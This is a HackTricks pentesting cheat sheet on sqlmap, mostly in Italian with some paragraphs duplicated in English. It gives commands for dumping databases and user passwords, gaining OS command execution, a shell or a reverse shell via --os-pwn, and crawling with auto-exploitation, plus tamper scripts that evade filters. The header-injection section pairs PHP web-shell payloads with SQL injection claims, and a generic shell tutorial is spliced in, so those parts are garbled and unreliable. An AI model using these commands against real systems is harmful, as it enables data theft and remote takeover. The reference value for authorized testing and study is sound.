hacktricks/pentesting-web/sql-injection/sqlmap.md
2024-02-10 13:03:23 +00:00

26 KiB

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Argomenti di base per SQLmap

Generici

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Recuperare Informazioni

Interne

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

Dati del database

The --dump option in SQLMap can be used to retrieve data from the database. This option allows you to extract the contents of the database tables.

To use this option, you need to specify the target URL and the vulnerable parameter. SQLMap will then automatically detect the type of database and perform the necessary queries to retrieve the data.

Here is an example command:

sqlmap -u "http://example.com/vulnerable.php?id=1" --dump

This command will scan the URL http://example.com/vulnerable.php?id=1 for SQL injection vulnerabilities and retrieve the data from the database.

Once the scan is complete, SQLMap will display the retrieved data in a tabular format. You can then analyze the data and look for any sensitive information that may have been leaked.

It is important to note that using SQLMap or any other hacking tool without proper authorization is illegal and unethical. Always ensure that you have the necessary permissions and legal rights before performing any penetration testing activities.

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Posizione dell'iniezione

Da Burp/ZAP capture

Cattura la richiesta e crea un file req.txt

sqlmap -r req.txt --current-user

Iniezione di richieste GET

Descrizione

L'iniezione di richieste GET è una tecnica di attacco che sfrutta le vulnerabilità di sicurezza presenti nei parametri delle richieste GET. Questa tecnica consente a un attaccante di inserire codice malevolo all'interno dei parametri della richiesta GET, che verrà poi eseguito dal server.

Funzionamento

L'iniezione di richieste GET avviene quando un'applicazione web non valida o filtra correttamente i dati inseriti dall'utente nei parametri della richiesta GET. Un attaccante può sfruttare questa vulnerabilità inserendo codice SQL malevolo all'interno dei parametri della richiesta GET.

Quando il server riceve la richiesta GET con il codice SQL malevolo, esegue il codice senza alcuna validazione o filtro. Ciò consente all'attaccante di ottenere informazioni sensibili dal database o addirittura di modificare i dati presenti nel database.

Esempio

Supponiamo che un'applicazione web abbia un parametro nella richiesta GET chiamato "id". L'attaccante potrebbe inserire il seguente codice SQL malevolo nel parametro "id":

?id=1' OR '1'='1

Quando il server riceve questa richiesta GET, eseguirà il seguente codice SQL:

SELECT * FROM users WHERE id='1' OR '1'='1';

Poiché la condizione '1'='1' è sempre vera, il server restituirà tutti i record presenti nella tabella "users".

Prevenzione

Per prevenire l'iniezione di richieste GET, è necessario implementare una corretta validazione e filtraggio dei dati inseriti dall'utente. È consigliabile utilizzare parametri di richiesta preparati o librerie di accesso ai dati che gestiscano correttamente le query SQL.

Inoltre, è importante educare gli sviluppatori sulle best practice di sicurezza e sull'importanza di validare e filtrare i dati in ingresso.

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Iniezione di richieste POST

When performing a SQL injection attack, it is common to target web applications that use POST requests to send data to the server. In this scenario, the attacker can manipulate the input parameters of the POST request to inject malicious SQL code.

Durante un attacco di SQL injection, è comune prendere di mira le applicazioni web che utilizzano richieste POST per inviare dati al server. In questo scenario, l'attaccante può manipolare i parametri di input della richiesta POST per iniettare codice SQL dannoso.

To automate this process, SQLMap provides the --data option, which allows you to specify the POST data to be sent in the request. The --data option requires the input parameters to be in the format param1=value1&param2=value2, where each parameter is separated by an ampersand (&).

Per automatizzare questo processo, SQLMap fornisce l'opzione --data, che consente di specificare i dati POST da inviare nella richiesta. L'opzione --data richiede che i parametri di input siano nel formato param1=valore1&param2=valore2, dove ogni parametro è separato da un ampersand (&).

For example, if the POST request is sending the parameters username and password, the --data option would be used as follows:

Ad esempio, se la richiesta POST sta inviando i parametri username e password, l'opzione --data sarebbe utilizzata come segue:

--data "username=admin&password=test"

SQLMap will then inject the payload into the specified parameter(s) and send the modified POST request to the server.

SQLMap inietterà quindi il payload nel/i parametro/i specificato/i e invierà la richiesta POST modificata al server.

It is important to note that when using the --data option, you may need to include other required parameters in the request, such as cookies or headers, to ensure the request is properly authenticated and processed by the server.

È importante notare che quando si utilizza l'opzione --data, potrebbe essere necessario includere altri parametri richiesti nella richiesta, come cookie o intestazioni, per garantire che la richiesta venga correttamente autenticata e elaborata dal server.

sqlmap -u "http://example.com" --data "username=*&password=*"

Iniezioni negli Header e in altri Metodi HTTP

In alcuni casi, è possibile sfruttare le vulnerabilità di iniezione anche negli header HTTP e in altri metodi HTTP oltre a GET e POST. Questo può essere utile quando si desidera eseguire un attacco di iniezione SQL in modo più discreto o quando si desidera sfruttare una vulnerabilità specifica di un metodo HTTP.

Iniezione negli Header

Iniezione nell'Header User-Agent

L'iniezione nell'header User-Agent può essere utile quando si desidera eseguire un attacco di iniezione SQL in modo più discreto. È possibile utilizzare il parametro User-Agent per iniettare il payload SQL. Ad esempio:

GET /index.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 <?php echo exec($_GET['cmd']); ?>

Iniezione nell'Header Referer

L'iniezione nell'header Referer può essere utile quando si desidera sfruttare una vulnerabilità specifica di un'applicazione che utilizza il valore del Referer header in una query SQL. È possibile utilizzare il parametro Referer per iniettare il payload SQL. Ad esempio:

GET /index.php HTTP/1.1
Host: example.com
Referer: <?php echo exec($_GET['cmd']); ?>

Iniezione in altri Metodi HTTP

Iniezione in un Metodo HTTP Personalizzato

Se l'applicazione utilizza un metodo HTTP personalizzato, è possibile sfruttare la vulnerabilità di iniezione anche in questo metodo. È possibile utilizzare il parametro del metodo personalizzato per iniettare il payload SQL. Ad esempio:

CUSTOM-METHOD /index.php HTTP/1.1
Host: example.com
Custom-Param: <?php echo exec($_GET['cmd']); ?>

Iniezione in altri Metodi HTTP

Alcuni metodi HTTP meno comuni, come PUT, DELETE, OPTIONS, TRACE, CONNECT, possono anche essere vulnerabili all'iniezione SQL. È possibile utilizzare i parametri di questi metodi per iniettare il payload SQL. Ad esempio:

PUT /index.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

param=<?php echo exec($_GET['cmd']); ?>

Ricorda che l'iniezione SQL negli header e negli altri metodi HTTP può variare a seconda dell'applicazione e delle sue configurazioni. È importante eseguire un'analisi approfondita dell'applicazione per identificare le possibili vulnerabilità di iniezione.

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Iniezione di secondo ordine

Second order injection, also known as stored or persistent injection, is a type of SQL injection attack that occurs when user-supplied data is stored in a database and later used in a vulnerable query. Unlike traditional SQL injection, where the malicious payload is executed immediately, second order injection involves injecting malicious code that will be executed at a later time.

How does it work?

The process of second order injection involves the following steps:

  1. User-supplied data is submitted to the application and stored in a database.
  2. The application retrieves the stored data from the database and uses it in a vulnerable query without proper sanitization or validation.
  3. The injected malicious code is executed when the vulnerable query is executed.

Examples of second order injection

Here are a few examples to illustrate how second order injection can be exploited:

Example 1: User registration form

Consider a user registration form that stores user-supplied data in a database. The application retrieves the stored data to display user profiles. If the application does not properly sanitize or validate the data, an attacker can inject malicious code during the registration process. This code will be executed when the user profile is displayed, potentially leading to unauthorized access or data leakage.

Example 2: Comment section

In a blog or forum application, user comments are often stored in a database and displayed on the website. If the application does not properly sanitize or validate the comments, an attacker can inject malicious code in a comment. This code will be executed when the comment is displayed, allowing the attacker to perform actions such as stealing user credentials or modifying the website's content.

Prevention and mitigation

To prevent second order injection attacks, it is important to follow secure coding practices:

  • Use parameterized queries or prepared statements to ensure that user-supplied data is properly sanitized before being used in a query.
  • Implement input validation and enforce strict data type checking to prevent unexpected behavior.
  • Regularly update and patch the application to fix any known vulnerabilities.
  • Employ a web application firewall (WAF) to detect and block malicious requests.

By implementing these measures, you can significantly reduce the risk of second order injection attacks and protect your application and data from unauthorized access or leakage.

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

La shell è un'interfaccia da linea di comando che consente agli utenti di interagire con il sistema operativo. È uno strumento essenziale per i pentester, in quanto consente loro di eseguire comandi e script per eseguire varie attività di hacking. La shell può essere utilizzata per eseguire comandi di sistema, navigare tra le directory, creare e modificare file, gestire processi e molto altro ancora.

Tipi di shell

Esistono diversi tipi di shell disponibili, tra cui:

  • Bash: è la shell di default per molti sistemi operativi basati su Unix, come Linux e macOS.
  • PowerShell: è una shell sviluppata da Microsoft per i sistemi operativi Windows.
  • Zsh: è una shell avanzata che offre molte funzionalità aggiuntive rispetto a Bash.
  • Fish: è una shell user-friendly con un'interfaccia intuitiva e colorata.

Comandi di base della shell

Ecco alcuni comandi di base che possono essere utili durante l'utilizzo della shell:

  • ls: elenca i file e le directory presenti nella directory corrente.
  • cd: cambia la directory corrente.
  • pwd: visualizza il percorso della directory corrente.
  • mkdir: crea una nuova directory.
  • rm: rimuove un file o una directory.
  • cp: copia un file o una directory.
  • mv: sposta o rinomina un file o una directory.
  • cat: visualizza il contenuto di un file.
  • grep: cerca un pattern all'interno di un file o di un output di comando.
  • chmod: modifica i permessi di accesso di un file o una directory.
  • chown: cambia il proprietario di un file o una directory.
  • ps: visualizza i processi in esecuzione.
  • kill: termina un processo in esecuzione.

Scripting della shell

La shell supporta anche il scripting, che consente di scrivere script per automatizzare compiti ripetitivi o complessi. Gli script della shell sono scritti utilizzando un linguaggio di scripting specifico della shell, come Bash o PowerShell.

Ecco un esempio di script Bash che elenca tutti i file nella directory corrente:

#!/bin/bash

for file in *; do
    echo $file
done

Conclusioni

La shell è uno strumento potente per i pentester, in quanto consente loro di eseguire comandi e script per eseguire varie attività di hacking. Conoscere i comandi di base e il linguaggio di scripting della shell può essere estremamente utile durante un test di penetrazione.

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Esegui lo spidering di un sito web con SQLmap e auto-sfrutta

SQLmap è uno strumento potente per l'esecuzione di attacchi di SQL injection. Oltre a individuare e sfruttare automaticamente le vulnerabilità di SQL injection, SQLmap può anche eseguire lo spidering di un sito web per identificare potenziali punti di iniezione.

Per eseguire lo spidering di un sito web con SQLmap, utilizziamo il seguente comando:

sqlmap -u <URL> --crawl=3

Dove <URL> è l'URL del sito web che desideriamo esaminare e --crawl=3 indica che vogliamo eseguire lo spidering fino a una profondità di 3 livelli.

Durante lo spidering, SQLmap cercherà automaticamente di individuare e sfruttare le vulnerabilità di SQL injection. Se trova un punto di iniezione, SQLmap eseguirà automaticamente l'exploit per ottenere informazioni dal database sottostante.

È importante notare che l'esecuzione di un attacco di SQL injection senza il consenso del proprietario del sito web è illegale. Assicurati di ottenere l'autorizzazione prima di utilizzare SQLmap o qualsiasi altro strumento di hacking.

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Impostazione di un suffisso

Sometimes, the payload generated by SQLMap may not work as expected due to various reasons. In such cases, you can customize the injection by setting a suffix.

A volte, il payload generato da SQLMap potrebbe non funzionare come previsto per vari motivi. In tali casi, è possibile personalizzare l'iniezione impostando un suffisso.

To set a suffix, you can use the --suffix option followed by the desired suffix value. This suffix will be appended to the payload generated by SQLMap.

Per impostare un suffisso, è possibile utilizzare l'opzione --suffix seguita dal valore del suffisso desiderato. Questo suffisso verrà aggiunto al payload generato da SQLMap.

For example, if you want to add the suffix ' OR '1'='1 to the payload, you can use the following command:

Ad esempio, se si desidera aggiungere il suffisso ' OR '1'='1 al payload, è possibile utilizzare il seguente comando:

sqlmap -u "http://example.com/page.php?id=1" --suffix="' OR '1'='1"

This will append the suffix ' OR '1'='1 to the payload generated by SQLMap.

Questo aggiungerà il suffisso ' OR '1'='1 al payload generato da SQLMap.

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefisso

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Aiuto nella ricerca di un'iniezione booleana

To find a boolean injection vulnerability, you can use SQLMap. SQLMap is a powerful tool that automates the process of detecting and exploiting SQL injection flaws. It supports various techniques, including boolean-based blind injection.

Per trovare una vulnerabilità di iniezione booleana, puoi utilizzare SQLMap. SQLMap è un potente strumento che automatizza il processo di rilevamento e sfruttamento delle falle di iniezione SQL. Supporta diverse tecniche, tra cui l'iniezione booleana basata su blind.

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Manipolazione

Tamper è una funzionalità di SQLMap che consente di manipolare le richieste HTTP inviate al server al fine di bypassare eventuali filtri o protezioni. Questo può essere utile durante un attacco di SQL injection per ottenere accesso non autorizzato al database.

Per utilizzare la funzionalità Tamper, è possibile specificare uno o più script di manipolazione da eseguire sulle richieste. Gli script di manipolazione possono essere personalizzati per adattarsi alle specifiche esigenze dell'attacco.

Ecco un esempio di come utilizzare Tamper con SQLMap:

sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=script.py

In questo esempio, stiamo utilizzando il parametro -u per specificare l'URL della pagina vulnerabile e il parametro --tamper per specificare lo script di manipolazione da utilizzare, denominato script.py.

È possibile trovare una lista di script di manipolazione predefiniti nella directory tamper di SQLMap. Questi script possono essere utilizzati come punto di partenza per creare script personalizzati.

Durante un attacco di SQL injection, è importante testare diverse tecniche di manipolazione per trovare quella più efficace nel bypassare i filtri e ottenere l'accesso al database. L'utilizzo di Tamper con SQLMap può semplificare questo processo e aumentare le possibilità di successo dell'attacco.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Descrizione
apostrophemask.py Sostituisce il carattere apostrofo con il suo corrispondente a larghezza completa in UTF-8
apostrophenullencode.py Sostituisce il carattere apostrofo con il suo doppio corrispondente unicode illegale
appendnullbyte.py Aggiunge un carattere NULL codificato alla fine del payload
base64encode.py Codifica in Base64 tutti i caratteri in un determinato payload
between.py Sostituisce l'operatore maggiore '&gt;' con 'NOT BETWEEN 0 AND #'
bluecoat.py Sostituisce il carattere spazio dopo l'istruzione SQL con un carattere vuoto casuale valido. Successivamente sostituisce il carattere = con l'operatore LIKE
chardoubleencode.py Codifica in doppio URL tutti i caratteri in un determinato payload senza elaborare quelli già codificati
commalesslimit.py Sostituisce le istanze come 'LIMIT M, N' con 'LIMIT N OFFSET M'
commalessmid.py Sostituisce le istanze come 'MID(A, B, C)' con 'MID(A FROM B FOR C)'
concat2concatws.py Sostituisce le istanze come 'CONCAT(A, B)' con 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Codifica in URL tutti i caratteri in un determinato payload senza elaborare quelli già codificati
charunicodeencode.py Codifica in Unicode-URL i caratteri non codificati in un determinato payload senza elaborare quelli già codificati. "%u0022"
charunicodeescape.py Codifica in Unicode-URL i caratteri non codificati in un determinato payload senza elaborare quelli già codificati. "\u0022"
equaltolike.py Sostituisce tutte le occorrenze dell'operatore uguale '=' con l'operatore 'LIKE'
escapequotes.py Escapa le virgolette ' and "
greatest.py Sostituisce l'operatore maggiore '&gt;' con il suo corrispondente 'GREATEST'
halfversionedmorekeywords.py Aggiunge un commento MySQL versionato prima di ogni parola chiave
ifnull2ifisnull.py Sostituisce le istanze come 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Racchiude l'interrogazione completa con un commento versionato
modsecurityzeroversioned.py Racchiude l'interrogazione completa con un commento a versione zero
multiplespaces.py Aggiunge spazi multipli attorno alle parole chiave SQL
nonrecursivereplacement.py Sostituisce le parole chiave SQL predefinite con rappresentazioni adatte per la sostituzione (ad esempio .replace("SELECT", "")) filtri
percentage.py Aggiunge un segno di percentuale '%' davanti a ogni carattere
overlongutf8.py Converte tutti i caratteri in un determinato payload senza elaborare quelli già codificati
randomcase.py Sostituisce ogni carattere della parola chiave con un valore di caso casuale
randomcomments.py Aggiunge commenti casuali alle parole chiave SQL
securesphere.py Aggiunge una stringa speciale creata appositamente
sp_password.py Aggiunge 'sp_password' alla fine del payload per l'oscuramento automatico dai log del DBMS
space2comment.py Sostituisce il carattere spazio ' ' con commenti
space2dash.py Sostituisce il carattere spazio ' ' con un commento a trattino '--' seguito da una stringa casuale e una nuova riga '\n'
space2hash.py Sostituisce il carattere spazio ' ' con un carattere cancelletto '\#' seguito da una stringa casuale e una nuova riga '\n'
space2morehash.py Sostituisce il carattere spazio ' ' con un carattere cancelletto '\#' seguito da una stringa casuale e una nuova riga '\n'
space2mssqlblank.py Sostituisce il carattere spazio ' ' con un carattere vuoto casuale da un insieme valido di caratteri alternativi
space2mssqlhash.py Sostituisce il carattere spazio ' ' con un carattere cancelletto '\#' seguito da una nuova riga '\n'
space2mysqlblank.py Sostituisce il carattere spazio ' ' con un carattere vuoto casuale da un insieme valido di caratteri alternativi
space2mysqldash.py Sostituisce il carattere spazio ' ' con un commento a trattino '--' seguito da una nuova riga '\n'
space2plus.py Sostituisce il carattere spazio ' ' con il segno più '+'
space2randomblank.py Sostituisce il carattere spazio ' ' con un carattere vuoto casuale da un insieme valido di caratteri alternativi
symboliclogical.py Sostituisce gli operatori logici AND e OR con i loro corrispondenti simbolici (&& e
unionalltounion.py Sostituisce UNION ALL SELECT con UNION SELECT
unmagicquotes.py Sostituisce il carattere di virgoletta ' con una combinazione multibyte %bf%27 insieme a un commento generico alla fine per farlo funzionare
uppercase.py Sostituisce ogni carattere della parola chiave con il valore in maiuscolo 'INSERT'
varnish.py Aggiunge un'intestazione HTTP 'X-originating-IP'
versionedkeywords.py Racchiude ogni parola chiave non di funzione con un commento MySQL versionato
versionedmorekeywords.py Racchiude ogni parola chiave con un commento MySQL versionato
xforwardedfor.py Aggiunge un'intestazione HTTP falsa 'X-Forwarded-For'
Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: